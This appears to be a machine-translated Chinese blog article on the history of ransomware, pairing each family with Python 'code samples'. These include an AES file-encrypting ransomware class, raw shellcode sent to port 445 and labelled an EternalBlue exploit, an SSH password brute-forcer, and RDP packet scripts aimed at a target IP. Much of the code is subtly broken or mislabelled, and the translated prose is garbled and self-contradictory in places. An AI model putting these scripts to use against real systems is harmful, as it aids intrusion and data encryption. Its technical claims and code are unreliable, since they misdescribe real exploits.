遵循勒索软件的历史就像看一部恐怖电影，小人不断变得更加聪明，更精致。勒索软件的演变令人着迷，但令人着迷。在本文中，我将带您深入了解历史性的时间表，并向您展示使这些恶意程序如此难以停止的原因。
首个已知的勒索软件，称为艾滋病特洛伊木马，于1989年出现。从那时起，勒索软件已经大大发展，成为最普遍，最具破坏性的恶意软件类型之一。本文将遵循勒索软件的演变，从加密货币的早期到臭名昭著的WannaCry以及最近的迷宫和Revil勒索软件攻击，同时解释了每种类型的勒索软件如何与实际代码样本一起使用。
2013：Cryptolocker
Cryptolocker是第一个使用公共密钥加密来加密文件的勒索软件。它是通过电子邮件附件和Java和Adobe Reader中的漏洞分发的，以感染系统。一旦感染了系统，它就会对系统上的所有文件进行加密，并要求比特币付款以提供解密密钥。
代码样本：
import os
import random
import string
from Crypto.Cipher import AES
class CryptoLocker:
def __init__(self, key):
self.key = key
def encrypt_file(self, in_filename, out_filename=None, chunk_size=64 * 1024):
if not out_filename:
out_filename = in_filename + '.enc'
iv = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
encryptor = AES.new(self.key, AES.MODE_CBC, iv)
filesize = os.path.getsize(in_filename)
with open(in_filename, 'rb') as infile:
with open(out_filename, 'wb') as outfile:
outfile.write(struct.pack('<Q', filesize))
outfile.write(iv)
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - len(chunk) % 16)
outfile.write(encryptor.encrypt(chunk))
def decrypt_file(self, in_filename, out_filename=None, chunk_size=24 * 1024):
if not out_filename:
out_filename = os.path.splitext(in_filename)[0]
with open(in_filename, 'rb') as infile:
orig_size = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
iv = infile.read(16)
decryptor = AES.new(self.key, AES.MODE_CBC, iv)
with open(out_filename, 'wb') as outfile:
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
outfile.write(decryptor.decrypt(chunk))
outfile.truncate(orig_size)
# Usage example
key = b'secret_key_1234'
c = CryptoLocker(key)
c.encrypt_file('test_file.txt')
c.decrypt_file('test_file.txt.enc')
Python代码实现了可以使用AES加密算法加密和解密文件的类。类构造函数将加密密钥作为参数，用于加密和解密文件。 encrypt_file方法采用输入文件名和可选的输出文件名和块大小。它读取输入文件，将其粘贴到16个字节的倍数，然后使用以随机生成的初始化向量（IV）为单位的AES对其进行加密。它将加密的数据与原始文件大小一起写入输出文件。
。decrypt_file方法采用输入文件名和一个可选的输出文件名和块大小。它读取输入文件，提取原始文件大小和IV，并使用相同的加密密钥和IV解密加密数据。它将解密的数据写入输出文件，并将其截断为原始文件大小。在代码末尾提供了类的示例用法，其中使用秘密键创建一个加密货币对象，对输入文件进行加密，然后解密。
。2016年：locky
locky是通过电子邮件广告系列分发的，并将RSA和AES加密的组合使用来加密文件。它要求比特币付款以提供解密密钥。据估计，它在发布后的前几周内感染了100,000多个系统。
代码样本：
import os
import base64
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA
# Generate RSA key pair
key = RSA.generate(2048)
# Encrypt file using AES-128
key_aes = os.urandom(16)
cipher_aes = AES.new(key_aes, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(b'encrypted data')
# Encrypt AES key using RSA public key
cipher_rsa = key.public_key().encrypt(key_aes, None)
# Save encrypted file and AES key to disk
with open('encrypted_file.bin', 'wb') as f:
f.write(ciphertext)
with open('encrypted_key.bin', 'wb') as f:
f.write(cipher_rsa)
此Python代码生成RSA密钥对，然后在EAX模式下使用AES加密算法来加密某些数据，并随机生成的AES密钥。然后，使用RSA公共密钥对AES密钥进行加密，然后将加密的文件和加密密钥保存到磁盘。
。2017年：WannaCry
在2017年，WannaCry勒索软件迅速散布在全球范围内，在150多个国家 /地区感染了数十万台计算机。 WannaCry在Windows操作系统中利用了一个名为EternalBlue的漏洞，据称是developed by the NSA
攻击的广泛性质和关键系统的影响强调了组织优先考虑网络安全并维护最新软件和安全协议以防止此类攻击的需求。
代码样本：
import socket
# EternalBlue exploit code
exploit = (
b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x10\x5b\x53\x4b\x8b\x58\x18"
b"\x8b\x53\x20\x01\xda\x51\x52\x8b\x52\x3c\x01\xda\x8b\x72\x78\x01"
b"\xde\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01"
b"\xc7\x49\x75\xef\x52\x57\x8b\x52\x20\x01\xda\x53\x8b\x34\x9a\x01"
b"\xde\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03"
b"\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xda\x66\x8b\x0c"
b"\x4b\x8b\x58\x1c\x01\xda\x8b\x04\x8b\x01\xda\x89\x44\x24\x24\x5b"
b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff"
b"\xff\x5d\x6a\x01\x8d\x45\x68\x50\x68\x8e\x4e\x0e\xec\xff\xd5\x97"
b"\x68\x8f\x0e\x4e\xec\x89\xe3\x6a\x10\x53\x57\x68\xde\xf8\x24\x75"
b"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x8b\x36\x8b\x55\xfc"
b"\x8b\x46\x0c\x8b\x7e\x1c\x8b\x4e\x08\x8b\x7e\x20\x8b\x36\x66\x39"
b"\x4f\x18\x75\xf2\x66\x81\x39\x44\x44\x75\xe6\x5e\x56\x53\x2c\x24"
b"\x0f\xba\x2c\x17\x42\x52\x6a\x01\x52\xff\xd0\x68\x63\x6d\x64\x00"
b"\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\xff\xd5\x97\x6a\x0a\x5f"
b"\xc3"
)
# IP address and port of vulnerable machine
target_ip = "192.168.1.100"
target_port = 445
# Create a TCP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
# Send exploit code
sock.send(exploit)
# Close the socket
sock.close()
此片段创建一个TCP套接字，并连接到目标机器的IP地址和端口。然后，它将WannaCry利用代码通过套接字连接发送到目标计算机。
重要的是要记住，与本文中的任何其他样本一样，该代码纯粹是用于教育目的，不应用于任何恶意活动。
2018：Samsam
SAMSAM是2018年首次确定的勒索软件。与许多其他使用网络钓鱼电子邮件访问受害者系统访问的勒索软件攻击不同，Samsam使用brute force访问未捕获的服务器。进入内部后，勒索软件加密文件并要求比特币付款。
代码样本：
import paramiko
import time
target_server = "example.com"
username = "admin"
passwords = ["password1", "password2", "password3", "password4", "password5"]
port = 22
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
for password in passwords:
try:
ssh.connect(target_server, port=port, username=username, password=password)
print(f"Successfully logged in to {target_server} with username {username} and password {password}.")
# Do malicious activities here
ssh.close()
break
except paramiko.AuthenticationException:
print(f"Failed to log in to {target_server} with username {username} and password {password}.")
time.sleep(1)
使用指定用户名的潜在密码列表通过SSH进行利用尝试通过SSH连接。如果连接成功，则攻击者可以使用SAMSAM在服务器上执行恶意活动。
2019年：瑞克
ryuk拥有originated in North Korea，并被用来针对医院和政府机构等高价值目标。事实证明这是错误的，最初是由许多不同的犯罪组织使用的。 RYUK通常是通过网络钓鱼电子邮件或利用远程桌面协议中的漏洞来交付的。
代码样本：
import socket
RDP_PORT = 3389
def exploit_rdp_vulnerability(target_ip):
# Establish a connection to the target RDP server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
try:
s.connect((target_ip, RDP_PORT))
except:
print(f"Connection failed to {target_ip}:{RDP_PORT}")
return
# Send a malicious RDP message to trigger the vulnerability
# In a real attack, this would contain the ransomware payload
# In this safe example, I will just print the message for demonstration purposes
message = b"\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x03\x00\x00\x00"
s.sendall(message)
# Receive the server's response and print it for demonstration purposes
response = s.recv(1024)
print(response.decode())
# Close the connection
s.close()
# Example usage
exploit_rdp_vulnerability('192.168.1.100')
漏洞利用连接到目标RDP服务器，并发送一条恶意RDP消息，该消息利用协议中的漏洞。在真正的攻击中，此消息将包含RYUK勒索软件有效载荷。但是，在此示例中，目的是仅打印从服务器收到的响应以进行演示目的。重要的是要注意，在RDP中利用漏洞是非法的，应采取适当的指导以在道德上这样做。
2019年：迷宫
迷宫对受害者的文件进行加密，并要求付款以换取解密密钥。但是，迷宫勒索软件在从受害者那里窃取敏感数据并威胁说如果没有支付赎金，则享有声誉。
迷宫勒索软件众所周知可以利用远程桌面协议（RDP）中的漏洞以及典型的网络钓鱼电子邮件访问。
代码样本：
import socket
HOST = '192.168.1.100'
PORT = 3389
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
print(data)
# Send RDP negotiation packet
negotiation_packet = b'\x03\x00\x00\x13\x0e\xe0\x00\x00\x12\x34\x00\x08\x00\x08\x00\x00\x00\x00'
s.sendall(negotiation_packet)
data = s.recv(1024)
print(data)
# Send RDP connection request packet
connection_request_packet = b'\x03\x00\x00\x2c\x0e\xd0\x00\x00\x12\x34\x00\x08\x00\x08\x00\x00\x03\xeb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
s.sendall(connection_request_packet)
data = s.recv(1024)
print(data)
# Send RDP security packet with no credentials
security_packet = b'\x03\x00\x00\x08\x02\xf0\x80'
s.sendall(security_packet)
data = s.recv(1024)
print(data)
# Send RDP negotiate security packet
negotiate_security_packet = b'\x03\x00\x00\x0c\x02\xf0\x80\x00\x01\x00\x08'
s.sendall(negotiate_security_packet)
data = s.recv(1024)
print(data)
s.close()
您可以看到，攻击者可以通过发送各种RDP数据包来建立与RDP服务器的连接，包括协商数据包，连接请求数据包，安全数据包和协商安全数据包。通过以这种方式利用RDP中的漏洞，攻击者可以潜在地访问受害者系统并部署迷宫勒索软件来加密文件并窃取敏感数据。
2021年：Revil
近年来最著名的勒索软件攻击之一是2021年7月的Revil勒索软件攻击。该攻击针对的是一个名为Kaseya的软件提供商，该软件提供商为其他公司提供远程管理软件。攻击者能够访问Kaseya的软件并将恶意软件分发给数百个客户，从而导致广泛的勒索软件攻击。
Revil使用强大的加密来加密受害者的档案，并要求赎金付款以换取解密密钥。像这个时代的大多数勒索软件组一样，比特币被用作付款方式。
代码样本：
import os
import random
import string
from Crypto.Cipher import AES
class Ransomware:
def __init__(self, key):
self.key = key
def encrypt_file(self, in_filename, out_filename=None, chunk_size=64 * 1024):
if not out_filename:
out_filename = in_filename + '.enc'
iv = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
encryptor = AES.new(self.key, AES.MODE_CBC, iv)
filesize = os.path.getsize(in_filename)
with open(in_filename, 'rb') as infile:
with open(out_filename, 'wb') as outfile:
outfile.write(struct.pack('<Q', filesize))
outfile.write(iv)
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - len(chunk) % 16)
outfile.write(encryptor.encrypt(chunk))
def decrypt_file(self, in_filename, out_filename=None, chunk_size=24 * 1024):
if not out_filename:
out_filename = os.path.splitext(in_filename)[0]
with open(in_filename, 'rb') as infile:
orig_size = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
iv = infile.read(16)
decryptor = AES.new(self.key, AES.MODE_CBC, iv)
with open(out_filename, 'wb') as outfile:
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
outfile.write(decryptor.decrypt(chunk))
outfile.truncate(orig_size)
# Usage example
key = b'secret_key_1234'
r = Ransomware(key)
r.encrypt_file('important_file.docx')
r.decrypt_file('important_file.docx.enc')
这证明了使用AES加密算法在CBC模式下对勒索软件的基本实现。类勒索软件将对称密钥作为参数，用于初始化类。 Encrypt_file方法获取输入文件，生成随机初始化向量，并使用键和初始化向量将文件加密在块中，并根据需要进行填充。 decrypt_file方法逆转了此过程，在加密文件中读取，提取初始化向量并通过块解密文件。
在用法示例中，定义了一个键，并使用此密钥创建勒索软件类的实例。 encrypt_file方法在一个称为“ enkentim_file.docx”的文件上调用，该文件创建一个称为“ exignTion_file.docx.enc”的加密文件。最后，在加密文件上调用了Decrypt_file方法将其解密为原始形式。
我希望这篇文章对勒索软件的发展以及它的最大威胁的方式给出了一些急需的观点，这是如何发展的。但是，近年来必须记住要在这些问题上暴露和教育公众的进步。